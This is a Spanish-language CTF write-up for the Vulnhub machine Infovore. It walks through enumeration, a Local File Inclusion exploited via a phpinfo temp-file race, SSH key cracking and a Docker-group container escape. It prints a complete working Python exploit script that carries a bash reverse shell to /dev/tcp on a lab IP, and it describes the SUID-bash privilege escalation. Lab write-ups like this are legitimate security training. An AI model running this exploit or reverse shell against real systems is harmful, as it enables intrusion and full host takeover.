Post

Infovore | CTF Writeup - Vulnhub

Infovore

Empezamos enumerando la red local para así encontrar la IP de la máquina víctima. Utilizaremos en este caso la herramienta netdiscover.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
> netdiscover -r 192.168.216.0/24

 Currently scanning: 192.168.216.0/24   |   Screen View: Unique Hosts
  
 4 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 240
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname
 -----------------------------------------------------------------------------
 192.168.216.1   00:50:56:c0:00:08      1      60  VMware, Inc.
 192.168.216.2   00:50:56:e2:11:a1      1      60  VMware, Inc.
 192.168.216.142 00:0c:29:e1:b5:e9      1      60  VMware, Inc.
 192.168.216.254 00:50:56:f8:e9:f9      1      60  VMware, Inc.

> export IP=192.168.216.142

Una vez tengamos nuestra variable de entorno IP, procedemos a hacerle un escaneo exhaustivo de puertos con nmap.

1
2
3
4
5
6
7
8
9
# Nmap 7.93 scan initiated Sun Jan 21 23:27:06 2024 as: nmap -sS -T5 --min-rate 5000 -p- --open -oN scan.txt 192.168.216.142
Nmap scan report for 192.168.216.142
Host is up (0.000088s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE
80/tcp open  http
MAC Address: 00:0C:29:E1:B5:E9 (VMware)

# Nmap done at Sun Jan 21 23:27:08 2024 -- 1 IP address (1 host up) scanned in 1.59 seconds

Sabiendo que el puerto 80 está abierto, seguimos aplicando reconocimiento para verificar las versiones que corren y lanzar scripts provenientes de nmap.

1
2
3
4
5
6
7
8
9
10
11
12
# Nmap 7.93 scan initiated Sun Jan 21 23:27:18 2024 as: nmap -sCV -p80 -oN versions.txt 192.168.216.142
Nmap scan report for 192.168.216.142
Host is up (0.00027s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Include me ...
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 00:0C:29:E1:B5:E9 (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jan 21 23:27:25 2024 -- 1 IP address (1 host up) scanned in 6.66 seconds

Ciertamente, llama la atención el título de la página (Include me). Debe hacer alusión a una vulnerabilidad Local File Inclusion existente en la aplicación. Lanzamos el script http-enum de la herramienta nmap para descubrir directorios y archivos comunes.

1
2
3
4
5
6
7
8
9
10
11
# Nmap 7.93 scan initiated Sun Jan 21 23:29:02 2024 as: nmap --script http-enum -p80 -oN http-enum.txt 192.168.216.142
Nmap scan report for 192.168.216.142
Host is up (0.00030s latency).

PORT   STATE SERVICE
80/tcp open  http
| http-enum: 
|_  /info.php: Possible information file
MAC Address: 00:0C:29:E1:B5:E9 (VMware)

# Nmap done at Sun Jan 21 23:29:03 2024 -- 1 IP address (1 host up) scanned in 0.59 seconds

Si nos metemos a la página, vemos el contenido típico de un archivo phpinfo. En el apartado disable_functions no hay ninguna función deshabilitada, lo que nos facilita (en caso de que la aplicación sea vulnerable a un RCE) ejecutar comandos en la máquina víctima con funciones como system(), shell_exec(), etc. .

[Pasted image 20240129001245.png]

Si seguimos inspeccionando, vemos que está habilitada la opción de subir archivos con la directiva file_uploads.

[Pasted image 20240129001834.png]

Volviendo a la página original, fuzzeamos para ver si se acontece un Local File Inclusion con la herramienta wfuzz. Ocultamos las líneas que aparezcan continuamente con el parámetro --hl=136, ya que esto indicaría que el archivo no se está incluyendo y sigue mostrando la sección de home con una longitud de 136 líneas.

[Pasted image 20240129002049.png]

¡Listo! Si nos dirigimos a la web:

[Pasted image 20240129002323.png]

Estamos mostrando el /etc/passwd de la máquina víctima. Sin embargo, no somos capaces de visualizar archivos críticos como /var/log/apache2/access.log, /var/log/auth.log, /var/log/apache2/error.log, /proc/net/fib_trie, /proc/self/environ, /root/.ssh/id_rsa. En caso de poder ver los logs, se podría acontecer un Log Poisoning que nos permita ejecutar comandos en la máquina. También intentamos inyectar comandos vía php filters con la herramienta php_filter_chain_generator, pero veremos que seremos incapaces de lograrlo. De todos modos, acá hay un artículo interesante que habla sobre esto.

Dado que no tenemos éxito en incluir posibles archivos de nuestro interés, intentamos subir nuestro propio archivo a la máquina víctima dado que la directiva file_uploads está activa. Buscamos rápidamente en Google una estructura para subir archivos mediante una petición HTTP con multipart/form-data y lo subimos con Burp Suite de la siguiente manera.

[Pasted image 20240129004849.png]

Si nos vamos a la web:

[Pasted image 20240129004925.png]

Nos subió el archivo. ¿Qué pasa si lo incluimos?

[Pasted image 20240129005001.png]

Nuevamente no nos carga nada. Si buscamos, en la página de Hacktricks que nos indica como explotar esta vulnerabilidad para ganar acceso a la máquina. Lo haremos con este script de python:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
#!/usr/bin/python 
import sys
import threading
import socket

def setup(host, port):
    TAG="Security Test"
    PAYLOAD="""%s\r
<?php echo system("bash -c 'bash -i >& /dev/tcp/192.168.216.133/443 0>&1'");?>');?>\r""" % TAG
    REQ1_DATA="""-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
    padding="A" * 5000
    REQ1="""POST /info.php?a="""+padding+""" HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """+padding+"""\r
HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
HTTP_PRAGMA: """+padding+"""\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)
    #modify this to suit the LFI script   
    LFIREQ="""GET /index.php?filename=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
    return (REQ1, TAG, LFIREQ)

def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    

    s.connect((host, port))
    s2.connect((host, port))

    s.send(phpinforeq)
    d = ""
    while len(d) < offset:
        d += s.recv(offset)
    try:
        i = d.index("[tmp_name] =&gt")
        fn = d[i+17:i+31]
    except ValueError:
        return None

    s2.send(lfireq % (fn, host))
    d = s2.recv(4096)
    s.close()
    s2.close()

    if d.find(tag) != -1:
        return fn

counter=0
class ThreadWorker(threading.Thread):
    def __init__(self, e, l, m, *args):
        threading.Thread.__init__(self)
        self.event = e
        self.lock =  l
        self.maxattempts = m
        self.args = args

    def run(self):
        global counter
        while not self.event.is_set():
            with self.lock:
                if counter >= self.maxattempts:
                    return
                counter+=1

            try:
                x = phpInfoLFI(*self.args)
                if self.event.is_set():
                    break                
                if x:
                    print "\nGot it! Shell created in /tmp/g"
                    self.event.set()
                    
            except socket.error:
                return
    

def getOffset(host, port, phpinforeq):
    """Gets offset of tmp_name in the php output"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host,port))
    s.send(phpinforeq)
    
    d = ""
    while True:
        i = s.recv(4096)
        d+=i        
        if i == "":
            break
        # detect the final chunk
        if i.endswith("0\r\n\r\n"):
            break
    s.close()
    i = d.find("[tmp_name] =&gt")
    if i == -1:
        raise ValueError("No php tmp_name in phpinfo output")
    
    print "found %s at %i" % (d[i:i+10],i)
    # padded up a bit
    return i+256

def main():
    
    print "LFI With PHPInfo()"
    print "-=" * 30

    if len(sys.argv) < 2:
        print "Usage: %s host [port] [threads]" % sys.argv[0]
        sys.exit(1)

    try:
        host = socket.gethostbyname(sys.argv[1])
    except socket.error, e:
        print "Error with hostname %s: %s" % (sys.argv[1], e)
        sys.exit(1)

    port=80
    try:
        port = int(sys.argv[2])
    except IndexError:
        pass
    except ValueError, e:
        print "Error with port %d: %s" % (sys.argv[2], e)
        sys.exit(1)
    
    poolsz=10
    try:
        poolsz = int(sys.argv[3])
    except IndexError:
        pass
    except ValueError, e:
        print "Error with poolsz %d: %s" % (sys.argv[3], e)
        sys.exit(1)

    print "Getting initial offset...",  
    reqphp, tag, reqlfi = setup(host, port)
    offset = getOffset(host, port, reqphp)
    sys.stdout.flush()

    maxattempts = 1000
    e = threading.Event()
    l = threading.Lock()

    print "Spawning worker pool (%d)..." % poolsz
    sys.stdout.flush()

    tp = []
    for i in range(0,poolsz):
        tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))

    for t in tp:
        t.start()
    try:
        while not e.wait(1):
            if e.is_set():
                break
            with l:
                sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
                sys.stdout.flush()
                if counter >= maxattempts:
                    break
        print
        if e.is_set():
            print "Woot!  \m/"
        else:
            print ":("
    except KeyboardInterrupt:
        print "\nTelling threads to shutdown..."
        e.set()
    
    print "Shuttin' down..."
    for t in tp:
        t.join()

if __name__=="__main__":
    main()

Modificamos el script en la primera sección, en la parte del setup, colocando el parámetro GET vulnerable a un Local File Inclusion. Además, cambiamos el comando que queremos inyectar. Y finalmente, ejecutamos el script.

[Captura de pantalla (260).png]

¡Ganamos acceso! Vemos la primera flag.

[Pasted image 20240129005809.png]

Si enumeramos la raíz del sistema con un ls -lah /, veremos archivos interesantes. En especial, un archivo .dockerenv y .oldkeys.tgz. El primero nos indica que nos encontramos bajo un contenedor de Docker. Además, si hacemos un hostname -I, veremos que la IP es distinta (192.168.150.21), por lo que podemos apreciar que se está aplicando Port Forwarding. Si movemos el comprimido al directorio /tmp/ para analizarlo más a fondo, veremos lo siguiente.

[Pasted image 20240129010240.png]

Intentamos acceder por ssh al usuario root con la private key dentro de la máquina víctima con el siguiente comando: ssh -i root root@localhost. Sin embargo, veremos que no somos capaces y tendremos que brindar una contraseña. Lo mismo si nos intentamos conectar por fuera del contenedor de Docker a la máquina host de IP 192.168.150.1.

Podemos intentar crackear la clave privada mediante las herramientas ssh2john y john.

[Pasted image 20240129011127.png] [Pasted image 20240129011156.png]

Intentamos migrar al usuario root con la contraseña crackeada.

[Pasted image 20240129011301.png]

¡Listo! Somos root. Ahora solo debemos escapar del contenedor. Vemos la otra flag.

[Pasted image 20240129011336.png]

Si nos vamos al directorio /root/.ssh y leemos el archivo de clave pública, veremos como que usuario nos podemos conectar a la máquina host sin proporcionar contraseña.

[Pasted image 20240129011521.png]

Sin embargo, nos pide una frase. Simplemente probamos con la contraseña anteriormente crackeada y veremos que se vuelve a utilizar.

[Pasted image 20240129011657.png]

Si hacemos un id, vemos que estamos en el grupo docker.

[Pasted image 20240129011734.png]

Ahora solo falta correr un contenedor con una montura de la raíz de la máquina host dentro del mismo para poder elevar nuestro privilegio.

[Pasted image 20240129011853.png]

Accedemos al contenedor y nos dirigimos al volumen creado.

[Pasted image 20240129011939.png]

Le modificamos los privilegios al binario de bash y le añadimos un permiso SUID para poder ejecutar bash como root, independientemente del usuario que lo ejecute.

[Pasted image 20240129012113.png]

Volvemos a la máquina host y ejecutamos el comando /bin/bash -p.

[Pasted image 20240129012219.png]

La última flag:

[Pasted image 20240129012308.png]

This post is licensed under CC BY 4.0 by the author.